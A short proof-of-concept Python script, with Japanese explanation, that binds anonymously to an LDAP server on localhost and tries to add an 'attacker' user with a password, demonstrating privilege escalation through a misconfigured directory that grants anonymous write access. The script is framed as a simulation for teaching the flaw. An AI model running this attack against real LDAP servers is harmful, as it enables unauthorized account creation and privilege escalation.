
# ldap_anon_sim.py - LDAP server allowing anonymous bind with write access
from ldap3 import Server, Connection, ALL
# Simulated: real server would be misconfigured
server = Server('ldap://localhost:389', get_info=ALL)
conn = Connection(server, authentication='ANONYMOUS')
conn.bind()
# If anonymous has write permission to userPassword, can add self as admin
conn.add('uid=attacker,ou=people,dc=example,dc=com', ['inetOrgPerson'], {'uid': 'attacker', 'userPassword': 'password'})
print("User created anonymously!")
LDAP ディレクトリが誤って設定され、匿名バインドが許可され、さらに機密属性(userPassword など)への書き込みアクセスが付与されています。攻撃者は匿名でバインドし、新しい管理者ユーザーを作成して特権を昇格させることができます。
シミュレーションを実行します(実際のテストには実 LDAP サーバーが必要ですが、コンセプトを示しています):
python ldap_anon_sim.py
このスクリプトは匿名でユーザーを追加しようとします。